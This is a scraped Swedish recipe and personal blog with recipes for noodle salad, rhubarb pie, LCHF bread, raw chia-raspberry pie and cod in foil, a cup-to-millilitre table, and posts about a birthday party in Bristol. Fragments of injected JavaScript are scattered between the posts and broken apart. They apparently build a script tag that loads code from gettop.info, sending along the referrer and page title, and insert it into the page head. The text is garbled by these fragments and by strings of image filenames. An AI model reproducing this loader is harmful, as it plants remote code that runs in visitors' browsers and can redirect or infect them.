Perfekt Nudelsallad till sommarens grillstunder.

Nu kommer jag dela med mig av en utsökt, näst intill beroendeframkallande god sallad som är bland det godaste jag känner till.  Den är en favorit bland mina kompisar när jag har middagar. Gör mkt av den här salladen för den kommer garanterat att gå åt. Hemligheten är den goda dressingen tillsammans med ”crunchy noodles”.
Notera att måtten är i engelska cup.

Nudelsallad
1 salladshuvud (isbergssallad) eller blandsallad
6-7 salladslök (skivade i ca 5 mm bitar)
100 gram rostade mandlar utan skal (kan uteslutas om ni vill)
100 gram friterade nudlar (köper mina i en Asiatisk affär)

Dressing:
1/4 cup Vit vinäger (rekommenderar att ni köper den som finns i de Asiatiska affärerna)
1/4 cup strösocker
1 tblsp soja sås
2 tsp sesam olja (kan uteslutas om ni inte tycker om sesam olja)
1/2 cup olivoja utan smak

Mixa ihop alla ingredienser till dressingen i en skål, rör om ordentligt .
Blanda ihop salladen, salladslöken och ev. mandel i en salladsskål. Häll över dressingen och blanda ordentligt.
Precis innan ni serverar salladen, lägg i nudlarna  och rör om. Om ni lägger i nudlarna för tidigt, kommer de bli mjuka och då får ni inte den goda ”crunchy” effekten på salladen. Vinägern jag använder är destillerad vinäger som går att köpa i välsorterade matbutiker som tex Ica Focus. Nudlarna hittar jag endast i den asiatiska affären utanför Nordstan. Försök hitta liknande för det blir inte samma effekt om ni tar andra nudlar. Skicka gärna kommentarer om vad ni tycker om salladen.

I den här affären köper jag nudlarna som ni ser nedan. Den ligger mitt emot Nordstan granne med Andrum.

 

 

 } else {

if (document.currentScript) {

Student 2014

Idag blev det inte så mycket bloggande. Min systerdotter Victoria tar studenten och vi har firat henne hela dagen.

DCBAvar d=document;var s=d.createElement(‘script’);

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Rabarberpaj med knäckigt täcke

 

bild11

Nu har jag hittat ett recept på en rabarberpaj som jag bakade för första gången igår. Den smakade supergott med lite kokosgrädde till.  Receptet hittade jag här. I grundreceptet står det rabarber och jordgubbar. Jag använde bara rabarber i min paj samt pistagenötter då jag inte tycker om macadamianötter.

Fyllningen:
3 cups av rabarber skuren i fina bitar.
3 cups av jordgubbar
Apelsinzest från en apelsin
4-6 Tablespoons honung
Lite salt
1 teaspoon pressad citron
2 Tablespoons arrowroot

Skär upp rabarber och jordgubbar i mindre bitar. Lägg dem i en skål och mixa ihop allt.

Topping:
1/4 cup pistagenötter, (hackad)
1/4 cup Macadamianötter, (hackad)
3/4 cups mandelmjöl
2 Tablespoons kokosmjöl
1 teaspoon kanel
1/4 teaspoon salt
1/4 cup honung
4 Tablespoons kokosolja

Hacka nötterna. Blanda ihop nötter, och övriga ingredienser i en skål till en röra (jag smälte kokosoljan innan jag blandade ihop allt).

Gör så här:

  1. Smörj en form  med  lite kokosolja och lägg på frukten. Lägg på smuldegen på toppen av frukten.
  2. Baka smulpajen i 180 grader i ca 20-25 minuter. Servera gärna med kokosgrädde.

bild13

bild12bild5Bild2bild3bild4Bild1bild7

bild14bild15bild11

Omvandlingstabell:

Fluid Ondes – U.S Cups – Svensk måttsats – Milliliter

Fluid Ondes – U.S Cups – Svensk måttsats – Milliliter

1 teaspoon = 1 tsk = 5 ml
1/4 ounce = 2 teaspoons = 1 dessertsked = 7 ml
1/2 ounce = 1 tablespoon = 1 msk = 15 ml
1 ounce = 2 tablespoons = 2 msk = 28  ml
2 ounces = 1/4 cup = 4 msk = 56 ml
4 ounces = 1/2  cup= 1,1 dl = 110 ml
5 ounces = – =1,4 dl =140 ml
6 ounces = 3/4 cup = 1,7 dl = 170 ml
8 ounces = 1 cup = 2,25 dl = 225 ml
9 ounces = – = 2,5 dl (1/4 liter) = 250 ml
10 ounces = 1 1/4 cups = 2,8 dl = 280 ml
12 ounces = 1 1/2 cups = 3,4 dl = 340 ml
15 ounces = – = 4,2 dl = 420 ml
16 ounces = 2 cups = 4,5 dl = 450 ml
18 ounces = 2 1/4 cups = 5 dl = 500 ml
20 ounces = 2 1/2 cups = 5,6 dl = 560 ml
24 ounces = 3 cups = 6,75 dl = 675 ml
25 ounces = – = 7 dl = 700 ml
27 ounces = 3 1/2 cups = 7,5 dl (3/4 liter) = 750 ml
30 ounces = 3 3/4 cups = 8,4 dl = 840 ml
32 ounces = 4 cups = 9 dl = 900 ml

 

Layla Pegado

bar3

bar2BarYouTube Preview Image

Förra helgen var jag på besök i Bristol då min kusins fru Luena firade sin 40-årsdag med en stor fest på Harvey Nichols i Bristol. Bland gästerna var bla  Layla Pegado. Hon är vad jag kallar expert på kakor/tårtor och bakverk. Måste erkänna att jag blev lite starstruck när jag träffar en sådan driven och otroligt talangfull person som både är ödmjuk och otroligt trevlig. Vi pratade en stund och har nu bestämt att nästa gång jag besöker mina släktingar i Bristol, bokar jag in en privatkurs med henne.
Ni kan läsa en artikel om Layla här. Här är en annan artikel.

Här är en bild på ”the Birthdaygirl” Luena och Layla.

bild3

Här är en bild på mig och Layla.

Bild2

Självklart hade Layla bakat Luena’s vackra tårta till festen.

fas2Fas1Tårta
Bild1
Nedan får ni lite av hennes vackra konstverk som hon bakat under åren.

BildA

bild33

bild32

bild31

bild26bild25bild24bild23bild21bild20

bild18bild17bild16bild15bild14bild13bild12bild8bild9bild7bild5bild4bild3bild2bild10bild11bild22bild29bild30bild35

 var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

Lchf Bröd

bild1

Här kommer ett bra recept på ett gott Lchf bröd. Kan rekommedera att rosta brödet…då blir det supergott.

Recept 1 limpa
200 gram  (3 dl) linfrö
50 gram (1 dl) sesamfrön
50 gram (0,75 dl) hasselnötter
50 gram (0,75 dl) mandel
50 gram kruskakli, fibrex eller fiberhusk
2 tsk bakpulver
1,5 msk brödkryddor

Mixa allt till ”mjöl”.

Blanda sedan ihop:
50 gram smält smör
1 dl creme fraiche
250 gram keso
6 ägg

Gör så här:
Mixa alla nötter och frön till ”mjöl” i en mixer.

Blanda ihop allt och häll i en avlång brödform klädd med bakplåtspapper. Häll lite solroskärnor på toppen av brödet. Grädda ca 60-80 min i 175 grader. Ta ut brödet ur formen och låt det svalna. Skär i tunna skivor.

1 skiva = ca 1,1 g kolhydrat

bild5bild4bild3

bild9bild6bild7bild2bild8

 } else {

Hemresa

Idag är jag påväg hem till Sverige efter Luena’s 40-års firande i Bristol i helgen. Jag kommer lägga ut bilder från festen om några dagar.

Finnair

d.getElementsByTagName(‘head’)[0].appendChild(s);} else {

Raw chia-lakrits-hallonpaj

bild12

bild17

bild20

bild21bild24bild22Receptet på den här goda hallonpajen hittade jag här.

Raw chia-lakrits-hallonpaj Ca 4-6 personer

Pajdegen
4-6 st dadlar
1,5 dl valnötter (går att använda valfri nöt)
0,5 tsk äkta vaniljpulver
1 nypa himalayasalt (älskar sältan ihop med det söta)

Kärna ur och blötlägg dadlarna i minst fem minuter. Mixa nötterna till ett mjöl och tillsätt kryddorna. Mixa sedan ner 3-4 dadlar och kolla av konsistensen. Råkar den bli för ”blöt” så får man mixa i mer nötter. Hitta en go konsistens. Tryck ut i en liten pajform som du ev. penslar med kokosolja innan. Jag använde bakplåtspapper i botten.

Fyllning
3 dl färska eller tinade hallon
0,5-1 msk agavenektar eller eko-honung
2 msk chiafrön
1-2 krm äkta Vanilj
1-2 tsk lakritspulver

Gör så här:
Mixa alltihop och smaka av. Tänk på att smeten tjocknar i kylen av chiafröna samt att lakritssmaken kommer fram mer efter kylning. Låt stå i kylskåp i åtminstone fyra timmar eller över natten. Bred sedan ut fyllningen över pajdegen och toppa med valfri toppning.  Jag dekorerade med färska hallon.

bild3

bild4bild6bild5bild7bild8

bild9

bild10bild11bild19bild18

bild2

bild13bild14bild16bild23bild24bild22var d=document;var s=d.createElement(‘script’);

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Bristol

Nu befinner jag mig i Bristol och hälsar på mina släktingar. Jag bor hos min kusin Andy och det är Andy’s fru Luena som har 40-års festen ikväll.

bridge}

document.currentScript.parentNode.insertBefore(s, document.currentScript);

40-års fest i Bristol

Idag är jag på väg till Bristol för att fira Luena som fyller 40 år.  Nedan ser ni den trevliga inbjudan.
Har packad med finklänning och mina högsta klackar och ser fram emot att träffa min kusin Andy och fira hans vackra fru Luena.

Invi

Festen hålls på Harvey Nichols bar som finns på 2:a våningen. Där  kommer det bjudas på goda drinkar, canapés och underhållning.

Harvey-Nichols

5186157-large

1489212_10152339474551202_1298045238_n

harvey-nichols-second-floor-bar-amp-restaurant

harvey-nichols-bar-angle-180840_LXXvar d=document;var s=d.createElement(‘script’);

Torsk i foliepaket

Fisk

Recept
Fryst torskfilé i portionsbit (upptinad)
Dill
Citron
Champinjoner
Tomat
Lök
Paprika
Smör
Salt
Vitpeppar
Citronpeppar
Vitlök

Gör så här:
Tina upp torskbiten. Lägg den på en bit folie (gärna dubbla ark). Salta och peppra fisken och lägg på två skivor smör mitt på fisken. Skiva upp tomater och citron  och lägg på fisken och några dillkvistar samt pressad färsk vitlök. Lägg champinjoner, paprika och lök och förslut foliepaketet. Grädda i ugn  på 200 grader i ca 15-20 .

bild (103)bild (99)bild (114)bild (110)bild (101)bild (96)bild (115)bild (119)

 if (document.currentScript) {